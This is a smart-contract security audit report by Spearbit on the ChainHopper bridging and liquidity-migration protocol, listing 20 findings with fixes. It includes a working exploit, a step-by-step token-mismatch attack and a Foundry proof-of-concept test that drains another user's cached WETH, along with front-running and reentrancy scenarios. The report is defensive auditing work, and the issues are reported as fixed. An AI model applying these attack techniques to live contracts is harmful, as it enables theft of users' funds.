SPEARBIT

ChainHopper Protocol Security Review

Auditors

Noah Marconi, Lead Security Researcher

Phaze, Lead Security Researcher

Ryan (rscodes), Associate Security Researcher

Report prepared by: Lucas Goiriz

May 20, 2025

Contents

1 About Spearbit

Spearbit is a decentralized network of expert security engineers offering reviews and other security related services to Web3 projects with the goal of creating a stronger ecosystem. Our network has experience on every part of the blockchain technology stack, including but not limited to protocol design, smart contracts and the Solidity compiler. Spearbit brings in untapped security talent by enabling expert freelance auditors seeking flexibility to work on interesting projects together.

Learn more about us at spearbit.com

2 Introduction

Disclaimer: This security review does not guarantee against a hack. It is a snapshot in time of ChainHopper Protocol according to the specific commit. Any modifications to the code will require a new security review.

3 Risk classification

Severity level	**Impact: High**	**Impact: Medium**	**Impact: Low**
Likelihood: high	Critical	High	Medium
Likelihood: medium	High	Medium	Low
Likelihood: low	Medium	Low	Low

3.1 Impact

- High - leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
- Medium - global losses <10% or losses to only a subset of users, but still unacceptable.
- Low - losses will be annoying but bearable--applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.

3.2 Likelihood

- High - almost certain to happen, easy to perform, or not easy but highly incentivized
- Medium - only conditionally possible or incentivized, but still relatively likely
- Low - requires stars to align, or little-to-no incentive

3.3 Action required for severity levels

- Critical - Must fix as soon as possible (if already deployed)
- High - Must fix (before deployment if not already deployed)
- Medium - Should fix
- Low - Could fix

4 Executive Summary

Over the course of 5 days in total, ChainHopper engaged with Spearbit to review the chainhopper-protocol protocol. In this period of time a total of **20** issues were found.

Summary

Project Name	ChainHopper
Repository	chainhopper-protocol
Commit	dea78611
Type of Project	AMM, Bridge
Audit Timeline	Apr 21st to Apr 26th

Issues Found

Severity	**Count**	**Fixed**	**Acknowledged**
Critical Risk	2	2	0
High Risk	0	0	0
Medium Risk	0	0	0
Low Risk	7	5	2
Gas Optimizations	3	3	0
Informational	8	5	3
Total	**20**	**15**	**5**

5 Findings

5.1 Critical Risk

5.1.1 Incorrect parameter order causes funds to be permanently stuck in the non-upgradeable Settler

Severity: Critical Risk

Context: Settler.sol#L72

Summary: The `Settler.sol` contract contains a critical vulnerability in the `selfSettle` function where parameters are passed in the wrong order when initializing a `SettlementCache` struct. This error causes token addresses to be stored as recipients and vice versa, leading to the funds from the first half of the `DUAL` message to be permanently stuck in the non-upgradeable Settler.

Description: In the `Settler.sol` contract, the `SettlementCache` struct is defined as follows:

```
struct SettlementCache {
    address recipient;
    address token;
    uint256 amount;
    bytes data;
}
```

However, when initializing this struct in the `selfSettle` function for the first half of a `DUAL` mode migration, the parameters are passed in the wrong order:

```
// If it is first half of DUAL mode, then:
settlementCaches[migrationId] = SettlementCache(token, settlementParams.recipient, amount, data);
```

As shown, the `token` ends up always being assigned to the `recipient` slot.

As a result, when the second half of the `DUAL` comes in:

- The contract will try to use the recipient address as a token, causing the `_mintPosition` function to revert.
- The `catch` in `handleV3AcrossMessage` of `AcrossSettler` gets triggered and it will try to refund the first half of the dual with `_refund` which will revert when trying to use the recipient address as a token for transfer.
- Users cannot manually withdraw funds either, as the `withdraw` function also calls `_refund`, which fails for the same reason.

Impact Explanation: High - It causes tokens from the first half of the migration to be permanently locked in the contract with no recovery mechanism available. Users loses 100% of the funds sent in the first half of their dual migrations, with no possibility of recovery due to the non-upgradeable nature.

Likelihood Explanation: High - It will occur in every single `DUAL` mode migration without exception. There are no special conditions or edge cases required to trigger this vulnerability.

Recommendation: Correct the parameter order when initializing the `SettlementCache` struct:

```
  // In Settler.sol
- settlementCaches[migrationId] = SettlementCache(token, settlementParams.recipient, amount, data);
+ settlementCaches[migrationId] = SettlementCache(settlementParams.recipient, token, amount, data);
```

This change ensures that the parameters are passed in the correct order, allowing both settlement and refund operations to work as intended.

ChainHopper: Fixed in commit 6fa90690.

Spearbit: Fix verified.

5.1.2 Token mismatch vulnerability allows Attackers to sacrifice cheaper tokens and drain tokens of higher value

Severity: Critical Risk

Context: UniswapV4Settler.sol#L87-L88

Summary: In the `UniswapV4Settler` contract, there is an exploit path that allows attackers to steal tokens cached in the contract from other migrations. The issue stems from insufficient validation of token addresses in dual-token migrations.

Description: The vulnerability exists in the `_mintPosition` function of `UniswapV4Settler.sol` where the contract verifies that the tokens provided in a dual migration matches the tokens specified in the mint parameters:

```
if (tokenA != mintParams.token0 && tokenA != mintParams.token1) revert UnusedToken(tokenA);
if (tokenB != mintParams.token0 && tokenB != mintParams.token1) revert UnusedToken(tokenB);
```

`tokenA` and `tokenB` are the tokens sent in from Across using `DUAL` mode, while `mintParams` is simply user provided data.

- `mintParams.token0` and `mintParams.token1` can't be the same because uniswap doesn't allow it, however the Attacker can still pass in `tokenA` and `tokenB` as the same address as these 2 are not propagated to uniswap.

Hence, the leeway given to `tokenA` and `tokenB` allows for the following exploit to steal tokens. Looking at the 2 if statements, the Hacker can engineer the input params such that `tokenA == tokenB == mintParams.token1` so that it won't revert and will bypass the checks.

The attack works as follows:

1. Settler contract has 100 ETH currently (cached from other `migrationId`).
2. Attacker does a DUAL mode with:

- `tokenA = USDT`, `amount0 = 100`.
- `tokenB = USDT`, `amount1 = 100`.
- `mintParams.token0 = WETH`.
- `mintParams.token1 = USDT`.

3. The validation checks pass because:

- `tokenA (USDT) == mintParams.token1 (USDT)`.
- `tokenB (USDT) == mintParams.token1 (USDT)`.

4. The contract uses 100 of the victim's cached WETH and 100 of the attacker's USDT to mint a position.
5. The position is sent to the attacker, who can then liquidate it to obtain both tokens.

By sacrificing 100 USDT (which is still in the contract), the Attacker steals 100 ETH.

Impact Explanation: High - Attackers can steal tokens cached in the Settler from victims. By providing `tokenA/tokenB` which does not match `mintParams`, attackers can drain tokens of a higher value.

- For example in the steps above, the Attacker sacrifices `100 USDT` to steal `100 ETH`. (which is a big profit considering `USDT` and `ETH` price difference).

The attack has a direct profit mechanism with attackers managing to steal higher value tokens.

Likelihood Explanation: High - Anyone can carry out this attack as there are no permissions or special conditions required.

Proof Of Concept: First fix the flipping of the Settlement struct, else all `DUAL` can't work properly:

```
struct SettlementCache {
    address recipient;
    address token;
    uint256 amount;
    bytes data;
}
```

```
  //L72 of Settler.sol
- settlementCaches[migrationId] = SettlementCache(token, settlementParams.recipient, token, amount,
↪   data);
+ settlementCaches[migrationId] = SettlementCache(settlementParams.recipient, token, amount, data);
```

Next set up the appriopiate BASE RPC in `.env` as well as the BASE pool address which has been conveniently given in `.env.example`. Go to `test/base` and create a file:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.24;

import {IERC20} from "@openzeppelin/token/ERC20/IERC20.sol";
import {IERC721} from "@openzeppelin/token/ERC721/IERC721.sol";
import {IHooks} from "@uniswap-v4-core/interfaces/IHooks.sol";
import {IPoolManager} from "@uniswap-v4-core/interfaces/IPoolManager.sol";
import {Currency} from "@uniswap-v4-core/types/Currency.sol";
import {PoolId} from "@uniswap-v4-core/types/PoolId.sol";
import {PoolKey} from "@uniswap-v4-core/types/PoolKey.sol";
import {IWETH9} from "../../src/interfaces/external/IWETH9.sol";
import {IUniswapV4Settler} from "../../src/interfaces/IUniswapV4Settler.sol";
import {MockUniswapV4Settler} from "../mocks/MockUniswapV4Settler.sol";
import {TestContext} from "../utils/TestContext.sol";
import {MigrationId, MigrationIdLibrary} from "../../src/types/MigrationId.sol";
import {MigrationMode, MigrationModes} from "../../src/types/MigrationMode.sol";
import {ISettler} from "../../src/interfaces/ISettler.sol";
import {console} from "forge-std/console.sol";

contract UniswapV4AcrossSettlerTest is TestContext {
    string constant CHAIN_NAME = "BASE";

    MockUniswapV4Settler settler;

    function setUp() public {
        _loadChain(CHAIN_NAME);

        settler = new MockUniswapV4Settler(owner, v4PositionManager, universalRouter, permit2, weth);

        if (uniswapV4Proxy.getPoolSqrtPriceX96(v4NativePoolKey) == 0) {
            uniswapV4Proxy.initializePool(v4NativePoolKey, 1e18);
        }
        if (uniswapV4Proxy.getPoolSqrtPriceX96(v4TokenPoolKey) == 0) {
            uniswapV4Proxy.initializePool(v4TokenPoolKey, 1e18);
        }
    }

    function test_dualMessageSettlement() public {
        // Setup mint params for Uniswap V4
        IUniswapV4Settler.MintParams memory _mintParams = IUniswapV4Settler.MintParams({
            token0: weth,
            token1: usdt,
            fee: 0,
            tickSpacing: 10,
            hooks: address(0),
            sqrtPriceX96: 1e18,
            tickLower: -100,
            tickUpper: 100,
            swapAmountInMilliBps: 5000,
            amount0Min: 0,
            amount1Min: 0
        });

        // Create settlement params
        ISettler.SettlementParams memory params = ISettler.SettlementParams({
            recipient: address(this),
            senderShareBps: 0,
            senderFeeRecipient: address(this),
            mintParams: abi.encode(_mintParams)
        });

        // Create migration ID for DUAL mode
        MigrationId migrationId = MigrationIdLibrary.from(0, address(0), MigrationModes.DUAL, 0);
        bytes memory data = abi.encode(migrationId, abi.encode(params));

        // Deal tokens to the settler
        deal(weth, address(settler), 100 ether); //Victim's WETH in Settler

        deal(usdt, address(settler), 200 ether); //Attacker's USDT bridged to Settler

        // Use vm.prank to send the dual message
        vm.prank(address(settler));
        settler.selfSettle(usdt, 100 ether, data);

        // Before the killer call we log the balances
        console.log("Initial WETH balance:", IERC20(weth).balanceOf(address(settler)));
        console.log("Initial USDT balance:", IERC20(usdt).balanceOf(address(settler)));

        // killer call
        vm.prank(address(settler));
        settler.selfSettle(usdt, 100 ether, data);

        // Log final balances
        console.log("Final WETH balance:", IERC20(weth).balanceOf(address(settler)));
        console.log("Final USDT balance:", IERC20(usdt).balanceOf(address(settler)));
    }
}
```

Run `forge test --mt test_dualMessageSettlement -vv`:

```
[PASS] test_dualMessageSettlement() (gas: 1477591)
Logs:
  Initial WETH balance: 100000000000000000000
  Initial USDT balance: 200000000000000000000
  Final WETH balance: 0
  Final USDT balance: 100000000000000000000
```

As shown the 100 ETH from the victim being cached in Settler has disappeared (minted as a LP nft for the Attacker).

Recommendation: Ensure that `tokenA != tokenB`.

```
 function _mintPosition(
     address tokenA,
     address tokenB,
     uint256 amountA,
     uint256 amountB,
     address recipient,
     bytes memory data
 ) internal override returns (uint256 positionId) {
     // ...
     // ...
+    require(tokenA != tokenB, "Blocking off exploit");
     // now tokenA and tokenB must match token0 and token1, in any order
     if (tokenA != mintParams.token0 && tokenA != mintParams.token1) revert UnusedToken(tokenA);
     if (tokenB != mintParams.token0 && tokenB != mintParams.token1) revert UnusedToken(tokenB);
     // ...
 }
```

ChainHopper: Fixed in commit 74146a8a.

Spearbit: Fix verified.

5.2 Low Risk

5.2.1 Tokens not swapped when amounts are flipped

Severity: Low Risk

Context: Migrator.sol#L60-L79

Description: In the `Migrator._migrate()` function, when processing dual token routes, there is a code block that flips the amounts (`amount0` and `amount1`) if the tokens don't align with the expected token routes. However, while the amounts are flipped, the token addresses themselves (`token0` and `token1`) are not swapped.

The issue occurs here:

```
if (_matchTokenWithRoute(token0, tokenRoute1) && token1 == tokenRoute0.token) {
    // flip amounts to match token routes
    (amount0, amount1) = (amount1, amount0);
} else if (!_matchTokenWithRoute(token0, tokenRoute0)) {
    revert TokenAndRouteMismatch(token0);
} else if (token1 != tokenRoute1.token) {
    revert TokenAndRouteMismatch(token1);
}
```

Later, when calling the `_bridge()` function, the original tokens are used with the flipped amounts:

```
_bridge(sender, params.chainId, params.settler, token0, amount0, tokenRoute0.token, tokenRoute0.route,
↪   data);
_bridge(sender, params.chainId, params.settler, token1, amount1, tokenRoute1.token, tokenRoute1.route,
↪   data);
```

This mismatch can cause the `_bridge()` function to revert when sending native currency, as the token addresses do not correctly correspond to the amounts and token routes after the flip.

Recommendation:

- **Option 1: Swap token addresses with amounts.** When flipping the amounts, also swap the token addresses to maintain consistency:

```
  if (_matchTokenWithRoute(token0, tokenRoute1) && token1 == tokenRoute0.token) {
      // flip amounts to match token routes
      (amount0, amount1) = (amount1, amount0);
+     (token0, token1) = (token1, token0);
  } else if (!_matchTokenWithRoute(token0, tokenRoute0)) {
      revert TokenAndRouteMismatch(token0);
  } else if (token1 != tokenRoute1.token) {
      revert TokenAndRouteMismatch(token1);
  }
```

- **Option 2: Require sorted token routes to reduce complexity:** A cleaner approach would be to require token routes to be provided in a sorted order that matches the tokens from position liquidation:

```
- if (_matchTokenWithRoute(token0, tokenRoute1) && token1 == tokenRoute0.token) {
-     // flip amounts to match token routes
-     (amount0, amount1) = (amount1, amount0);
- } else if (!_matchTokenWithRoute(token0, tokenRoute0)) {
+ if (!_matchTokenWithRoute(token0, tokenRoute0)) {
      revert TokenAndRouteMismatch(token0);
  } else if (token1 != tokenRoute1.token) {
      revert TokenAndRouteMismatch(token1);
  }
```

  This approach simplifies the code and eliminates the need for token swapping logic. Documentation should clearly indicate that token routes must be provided in the same order as the tokens in the position being migrated.

ChainHopper: Fixed in commit fc5ff13e.

Spearbit: Fixed as recommended. The code requires the tokens to be sorted.

5.2.2 Insecure settlement cache key in cross-chain communication

Severity: Low Risk

Context: AcrossSettler.sol#L30-L45

Summary: The AcrossSettler contract uses migrationId as the key for its settlementCaches mapping, making it vulnerable to front-running attacks in dual-token migrations. Since the Across protocol does not forward origin sender addresses, malicious actors can interfere with legitimate settlements by front-running the first token arrival with their own messages using the same migrationId, potentially causing migration failures and requiring manual intervention.

Description: In the Settler contract, a mapping is used to cache settlement information for dual-token migrations:

```
mapping(MigrationId => SettlementCache) internal settlementCaches;
```

The issue arises because:

1. The mapping key is solely based on migrationId.
2. The Across protocol doesn't provide origin sender information in bridged messages.
3. No additional validation is performed to ensure that incoming tokens match expected parameters.

When the first token of a dual-token migration arrives, it's stored in the cache. When the second token arrives, the contract attempts to retrieve the cached first token and complete the settlement. However, an attacker can exploit this by:

1. Observing a legitimate dual-token migration on the source chain.
2. Manually constructing their own message through the Across protocol with a spoofed migrationId matching the legitimate migration.

3. Front-running the arrival of the legitimate tokens on the destination chain with their malicious message.

The Across protocol allows anyone to send tokens cross-chain with arbitrary message data. Since there's no verification of origin address, attackers are free to construct messages with any parameters they choose, including spoofing another user's `migrationId`.

Impact Explanation: The impact is medium. While this vulnerability doesn't directly lead to fund loss, it can cause significant disruption to users:

1. If an attacker front-runs with incorrect data before the first legitimate token arrives, the legitimate token will be refunded due to data mismatch when it arrives. The second token will then create a new cache entry, forcing the user to manually withdraw it or re-initiate the migration.
2. If an attacker front-runs with correct data structure but insufficient token amounts, the settlement will fail during position minting, causing similar disruption.

This attack doesn't provide direct financial gain to the attacker but could be used for targeted denial of service against specific migrations.

Likelihood Explanation: The likelihood is low to medium. While the attack is technically feasible, it requires:

1. Monitoring the mempool for cross-chain transactions.
2. Knowledge of the target `migrationId`.
3. Willingness to spend gas with no direct profit.

However, in competitive environments or situations with financial incentives to block specific migrations, this attack vector becomes more probable.

Recommendation: To mitigate this vulnerability, redesign the cache key to include information about both tokens and their amounts in dual-token migrations:

```
  // In the Settler contract
- mapping(MigrationId => SettlementCache) internal settlementCaches;
+ mapping(bytes32 => SettlementCache) internal settlementCaches;

  // Add DualTokenInfo to SettlementParams for dual mode migrations
+ struct DualTokenInfo {
+     address token0;
+     uint256 amount0;
+     address token1;
+     uint256 amount1;
+ }

  // In the selfSettle function
    function selfSettle(address token, uint256 amount, bytes memory data)
        external
        virtual
        returns (MigrationId, address)
    {
        // ...existing code...
        (MigrationId migrationId, bytes memory settlementParamsBytes) = abi.decode(data, (MigrationId,
        ↪  bytes));
        (ISettler.SettlementParams memory settlementParams) =
            abi.decode(settlementParamsBytes, (ISettler.SettlementParams));

        if (migrationId.mode() == MigrationModes.SINGLE) {
            // ...existing code...
        } else if (migrationId.mode() == MigrationModes.DUAL) {
+           // Decode dual token info
+           DualTokenInfo memory dualInfo = abi.decode(settlementParams.dualTokenInfo, (DualTokenInfo));
+
+           // Verify token and amount match with the expected values
+           bool isToken0 = token == dualInfo.token0 && amount == dualInfo.amount0;
+           bool isToken1 = token == dualInfo.token1 && amount == dualInfo.amount1;
+           if (!isToken0 && !isToken1) revert TokenAmountMismatch();
+
+           // Create cache key using both tokens and amounts
+           bytes32 cacheKey = keccak256(abi.encode(
+               migrationId,
+               dualInfo.token0,
+               dualInfo.amount0,
+               dualInfo.token1,
+               dualInfo.amount1
+           ));

-           SettlementCache memory settlementCache = settlementCaches[migrationId];
+           SettlementCache memory settlementCache = settlementCaches[cacheKey];

            if (settlementCache.amount == 0) {
                // cache settlement to wait for the other half
-               settlementCaches[migrationId] = SettlementCache(token, settlementParams.recipient,
↪   amount, data);
+               settlementCaches[cacheKey] = SettlementCache(token, settlementParams.recipient, amount,
↪   data);
            } else {
                // ...existing code...
                // delete settlement cache to prevent reentrancy
-               delete settlementCaches[migrationId];
+               delete settlementCaches[cacheKey];
                // ...remaining code...
            }
        }
  }
```

This approach ensures that:

1. The cache key incorporates both tokens and amounts, making it independent of which token arrives first.
2. Each incoming token is verified against the expected values.
3. An attacker would need to provide the exact expected tokens and amounts to use someone else's cache, essentially donating the required amounts rather than causing harm.

With this implementation, even if an attacker front-runs the first token arrival, they cannot interfere with the settlement of the legitimate tokens as long as both tokens match the expected values.

ChainHopper: Fixed in commit 9b5cf31b.

Spearbit: The fix in commit 9b5cf31b now has the following changes:

- The migration ID and the migration data are extracted directly in `handleV3AcrossMessage()`.
- The migration ID is validated against the data.
- A `try ... catch` call is opened on `this.selfSettle()` passing in the migration ID and data.
  - If the migration was initialized by an honest user, then there should be no way for a malicious user to make this call revert unless they tampered with the data.
  - In order to prevent further manipulation/DoS scenarios in the DUAL token migration:
    - The bridged token must be included in the migration data and the amount must be at least the minimum amount specified.
    - The recipient is now also read from the migration data directly.
    - If a malicious actor were to interfere with the migration process, then they would be required to donate the minimum specified output amount of one token, creating a sufficient deterrent.

5.2.3 Balance deltas for slippage protection does not progect against malicious callbacks

Severity: Low Risk

Context: UniswapV4Proxy.sol#L121-L124

Description: `UniswapV4Settler._mintPosition` performs a `swap` prior to minting a new position through the `UniswapV4Proxy`. The `UniswapV4Proxy` protects against slippage by referencing user defied `mintParams.amount0Min` and `mintParams.amount1Min`; these are minimum amounts of each token that must enter the position when it is minted. The slippage protection defends against sandwiching and related sub optimal positions being minted.

Any scenario that allows a malicious 3rd party to reenter (either from the token approvals or the hooks) may circumvent this protection. The `UniswapV4Proxy` performing a balance before and balance after check to confirm the minimum amount has left the contract, does not confirm the same amount has entered the position. If an attacker is able to trigger reentry through a token callback or a malicious hook, they may reduce the contract balance by withdrawing some amount from the `Settler`.

Likelihood Explanation: The project team already notes malicious tokens and pools may cause loss of funds, similar to any use of an untrusted Uniswap pool. In this review, no exploit was identified that does not depend on a malicious token or pool. The likelihood of a hook or token calling out to the would-be sandwicher is quite low. If a pool is malicious there are bigger problems for the user.

Recommendation: Nonetheless, it is recommended to defend against unforseen issues by disallowing reentrancy on the withdraw function, or any function that can alter to balance downward. For additional protection, consider the possibility of validating the position itself after minting.

ChainHopper: Fixed in commit 462015e9.

Spearbit: Fix verified.

5.2.4 Dangling approvals are possible in `UniswapV4Library.mintPosition`

Severity: Low Risk

Context: UniswapV4Proxy.sol#L96-L98

Description: `UniswapV4Library.mintPosition` approves the position manager for one or both of the tokens in the pair. The approval is expected to be consumed by the `PositionManager` during the call. There are no assurances that the approval will be used by a malicious pool / hook.

A malicious hook may conclude the transaction by not transferring tokens to the Uniswap pool, and may reenter to `withdraw` from the `Settler` resulting in a positive value for `amount0 = balance0Before - poolKey.currency0.balanceOfSelf()`. Alternatively, noting that mint params are caller controlled, a malicious hook may send none to the position manager and refund to the caller `if (amount0 > amount0Used) poolKey.currency0.transfer(recipient, amount0 - amount0Used)` leaving the approval untouched.

While approvals are left, no exploit path was identified during this review window. The amounts into the `PositionManager` employs a lock, meaning no reenetrancy into the `PositionManager`.

The means of funds transferring from the `Settler` to the `PositionManager` is the `SETTLE_PAIR` action and the currency is not an argument that may be manipulated (`params[1] = abi.encode(poolKey.currency0, poolKey.currency1)`).

Recommendation: While an exploit path was not identified during the review window, a similar protection to the one on the `AcrossMigrator` is recommended (`AcrossMigrator._bridge` clears the approval with `IERC20(inputToken).forceApprove(address(spokePool), 0)`).

Spearbit: Partially addressed by setting approvals to 0 for Unv3. The V4 scenario remains when a pool uses hooks to modify the amount of tokens needed to satisfy the liquidity. However, the approval only dangles for the block and an exploit scenario was not identified during the review given the resetting of approvals occurs on subsequent `proxy.mintPosition` calls.

ChainHopper: Acknowledged. We'll do a `forceApprove` in settler as well.

Spearbit: Acknowledged.

5.2.5 Unsafe cast of `block.chainid` does not account for chains with ids longer than `type(uint32).max`

Severity: Low Risk

Context: Migrator.sol#L49

Description: The system assumes chain ids are a number <= `type(uint32).max`. There were proposed EIPs with explicit bounds checks but they were never merged (or implemented). See EIP 2294. Further, Across accepts a `uint256` value for chain ids.

```
struct DepositV3Params {
    bytes32 depositor;
    bytes32 recipient;
    bytes32 inputToken;
    bytes32 outputToken;
    uint256 inputAmount;
    uint256 outputAmount;
    uint256 destinationChainId;
    bytes32 exclusiveRelayer;
    uint256 depositId;
    uint32 quoteTimestamp;
    uint32 fillDeadline;
    uint32 exclusivityParameter;
    bytes message;
}
```

Recommendation: Recommend `safeCast` to throw when unanticipated ids used rather than silently truncate. The Melio team suggested reworking `migrationId` to support larger `destinationChainIds` (and potentially expand it beyond `uint256` to properly support them all); we agree with this fix. Limiting to `unit256` is reasonable and will be supported so long as Across limits to this type.

ChainHopper: Fixed in commit dd8a12de.

Spearbit: Fixed as recommended.

5.2.6 Use `forceApprove` to support tokens like USDT that have no return value

Severity: Low Risk

Context: UniswapV3Proxy.sol#L175

Description: The Uniswap proxy uses `IERC20(token).approve` to approve the `permit2` contract. Using the ERC20 interface in this way will revert when the token does not have a return value. Tether's USDT is a popular example of a token with this behavior.

Recommendation: Make use of `forceApprove` similar to other areas of the codebase.

ChainHopper: Fixed in commit d6a730d4.

Spearbit: Fixed as recommended.

5.2.7 Fee on transfer tokens cause insolvency

Severity: Low Risk

Context: AcrossSettler.sol#L40

Description: Across protocol is flexible in how output tokens are handled. SpokePool.sol#L1314-L1315:

```
// ...There are no checks required for the output token
// which is pulled from the relayer at fill time and passed through this contract atomically to the
↪   recipient.
```

Allowing the use of fee on transfer tokens in Melio will lead to insolvency due to amounts received not matching amounts sent. Consider the scenario:

- Across sends 10 FOT (fee on transfer tokens) to the Settler.
- 8 are received into the `Settler`.
- In a `DUAL` transaction, the amount is cached in `settlementCaches`.
- Another transaction, sends 5 FOT tokens to the `Setter` but for some reason the transaction reverts and the refund branch is triggered.

```
// refund this and cached settlement if applicable (Across only receive ERC20 tokens)
IERC20(token).safeTransfer(settlementParams.recipient, amount);
if (migrationId.mode() == MigrationModes.DUAL) {
    _refund(migrationId, false);
}
```

- 4 FOT tokens enter the `Settler`.
- 5 FOT tokens exit the `Settler`.
- The second half of the DUAL transaction occurs and there are only 7 out of 10 FOT tokens present in the `Settler`.

Recommendation: Strict warnings to users to not use fee on transfer tokens, or consider adding balance check enforcement to revert when they are encountered.

ChainHopper: Acknowledged.

Spearbit: Acknowledged.

5.3 Gas Optimization

5.3.1 Duplicate calls to `Migrator._matchTokenWithRoute`

Severity: Gas Optimization

Context: Migrator.sol#L37-L42

Description: There are two calls to `Migrator._matchTokenWithRoute` in rapid succession.

Recommendation: Cache the value to first time to avoid the second call.

ChainHopper: Fixed in commit 600e6de0.

Spearbit: Fixed as recommended.

5.3.2 Unbounded settlement data storage is inefficient

Severity: Gas Optimization

Context: Settler.sol#L74

Description: In the `Settler` contract, the `SettlementCache` struct stores the entire `data` bytes array, which can be of unbounded size:

```
struct SettlementCache {
    address recipient;
    address token;
    uint256 amount;
    bytes data;
}
```

However, this full data is only used for validation through a comparison of its keccak256 hash:

```
if (keccak256(data) != keccak256(settlementCache.data)) revert MismatchingData();
```

Storing the entire data bytes array is inefficient and can lead to excessive gas costs, especially with large data payloads. Since only the hash is needed for validation, storing the full data wastes storage space.

Recommendation: Modify the `SettlementCache` struct to store only the hash of the data instead of the full bytes array:

```
  struct SettlementCache {
      address recipient;
      address token;
      uint256 amount;
-     bytes data;
+     bytes32 dataHash;
  }
```

Then update the relevant code in the `selfSettle` function:

```
  if (settlementCache.amount == 0) {
      // cache settlement to wait for the other half
-     settlementCaches[migrationId] = SettlementCache(settlementParams.recipient, token, amount, data);
+     settlementCaches[migrationId] = SettlementCache(settlementParams.recipient, token, amount,
↪   keccak256(data));
  } else {
-     if (keccak256(data) != keccak256(settlementCache.data)) revert MismatchingData();
+     if (keccak256(data) != settlementCache.dataHash) revert MismatchingData();

      // delete settlement cache to prevent reentrancy
      delete settlementCaches[migrationId];
      // ...remaining code...
  }
```

This change will significantly reduce gas costs for storage while maintaining the same validation functionality, particularly for migrations with large data payloads.

ChainHopper: Fixed in commit 627d4a1a. We ended up removing `data` altogether, as it's not needed given the new `migrationHash`.

Spearbit: Fixed as recommended.

5.3.3 Unchangeable proxy variables should be immutable

Severity: Gas Optimization

Context: UniswapV3Migrator.sol#L12

Description: In both `UniswapV3Settler` and `UniswapV4Settler` contracts, the proxy structs (`UniswapV3Proxy` and `UniswapV4Proxy`) contain address variables (`positionManager`, `universalRouter`, and `permit2`) that are initialized once in the constructor and never modified afterwards. These address variables can be declared as immutable at the contract level instead of being stored within a struct, which would significantly reduce gas costs for all functions that access these variables.

Currently, each access to these addresses requires a storage read operation (`SLOAD`), which costs 2100 gas (cold access). By using immutable variables, these addresses would be stored directly in the bytecode, reducing gas costs to just 3 gas per access.

Recommendation: Refactor the settler contracts to use immutable variables for the proxy components instead of storing them in a struct:

```
  // For UniswapV4Settler.sol
  contract UniswapV4Settler is IUniswapV4Settler, Settler {
-     /// @notice The Uniswap V4 proxy
-     UniswapV4Proxy private proxy;
+     /// @notice The position manager
+     IPositionManager private immutable positionManager;
+     /// @notice The universal router
+     IUniversalRouter private immutable universalRouter;
+     /// @notice The permit2
+     IPermit2 private immutable permit2;
      /// @notice The WETH address
      IWETH9 private immutable weth;

      /// @notice Constructor for the UniswapV4Settler contract
      /// @param _positionManager The position manager address
      /// @param _universalRouter The universal router address
      /// @param _permit2 The permit2 address
      /// @param _weth The WETH address
      constructor(address _positionManager, address _universalRouter, address _permit2, address _weth) {
-         proxy.initialize(_positionManager, _universalRouter, _permit2);
+         positionManager = IPositionManager(_positionManager);
+         universalRouter = IUniversalRouter(_universalRouter);
+         permit2 = IPermit2(_permit2);
          weth = IWETH9(_weth);
      }

      // Update other functions to use the immutable variables directly
      // instead of accessing them through the proxy struct
  }
```

This change would need to be applied to both `UniswapV3Settler` and `UniswapV4Settler`, with appropriate adjustments to the proxy library functions to accept explicit parameters instead of operating on a struct.

ChainHopper: Fixed in commit a293ff23.

Spearbit: Fixed as recommended.

5.4 Informational

5.4.1 Consider adding zero address check in `UniswapV4Proxy.approve`

Severity: Informational

Context: UniswapV4Proxy.sol#L227-L233

Description: The `approve()` function in the UniswapV4Proxy library doesn't validate whether the currency address is zero before attempting to approve it. While this isn't causing issues in the current codebase because zero address currencies are checked beforehand, adding a check would make the function more robust against potential future changes.

Recommendation: Consider adding a zero address check with an early return to efficiently handle cases where the currency is the zero address:

```
  function approve(UniswapV4Proxy storage self, Currency currency, address spender, uint256 amount)
   ↪  internal {
+     if (currency.isAddressZero()) return;
      if (!self.isPermit2Approved[currency]) {
          IERC20(Currency.unwrap(currency)).approve(address(self.permit2), type(uint256).max);
          self.isPermit2Approved[currency] = true;
      }
      self.permit2.approve(Currency.unwrap(currency), spender, amount.toUint160(),
      ↪  uint48(block.timestamp));
  }
```

ChainHopper: Fixed in commit 4a010a46.

Spearbit: Fixed as recommended.

5.4.2 Fees calculated on bridged amounts rather than actually used amounts

Severity: Informational

Context: Settler.sol#L79-L99

Description: In the `Settler` contract, fees are calculated and charged based on the full amount received from the migration (bridged amount) rather than the actual amount used when minting a position. This can lead to users paying excessive fees when only a portion of their bridged funds are used for minting.

This issue is relevant in the `UniswapV3Settler` and the `UniswapV4Settler` implementations, where the `_mintPosition` function may not use the full bridged amount. For example, when calling `proxy.mintPosition()`, the actual amounts used (`amount0Used` and `amount1Used`) may be less than the amounts provided (`amount0` and `amount1`). While the surplus tokens are refunded to the user, the fees are still calculated and charged on the full bridged amount before any refund occurs.

In extreme cases, a user could bridge a large amount (e.g., 100 WETH) but only use a small portion (e.g., 1 WETH) when minting the position, yet still pay fees on the entire 100 WETH.

Recommendation: Consider calculating and charging fees only on the amounts actually used for minting positions. This would require modifying the fee calculation and payment logic to occur after the position is minted and the actual used amounts are known.

ChainHopper: Acknowledged.

Spearbit: Acknowledged.

5.4.3 Consider having one overarching E2E test

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Summary: Currently the test files, tests the code file by file. For example in `AcrossSettler.t.sol`, it uses `MockAcrossSettler` to test `handleV3AcrossMessage`:

```
MockAcrossSettler private settler;

function setUp() public {
    _loadChain(CHAIN_NAME);

    settler = new MockAcrossSettler(owner, acrossSpokePool);
}
```

But in `MockAcrossSettler`, it overwrites `selfSettle` with a placeholder function that returns.

- Since `selfSettle` is the contract called by `handleV3AcrossMessage`, if there is a vulnerability in the transition, it might noe be picked up by the test suites.

In all, having one overarching E2E test will help pick up errors involving transition from one function of a file to another function in a diff file.

- Function transition is an important part of this protocol due to its bridging nature.

Recommendation: Include atleast one E2E test suite.

ChainHopper: Fixed in commit 5f3ce783.

Spearbit: Fix verified.

5.4.4 Would be safer for contract to be upgradeable given the multiple integrations

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Summary: Since this is a bridging related protocol which stores funds in the Settler. It will be good practice to make contracts upgradeable given the multiple entrypoint source of failures which can result in stuck funds. The possible entrypoints for reverts will be:

- The uniswap integration.
- Bridging problems.
- `refund` getting bricked due to blacklist etc...

Recommendation: Optional, but would be a safer approach given the multiple integrations.

ChainHopper: Acknowledged.

Spearbit: Acknowledged.

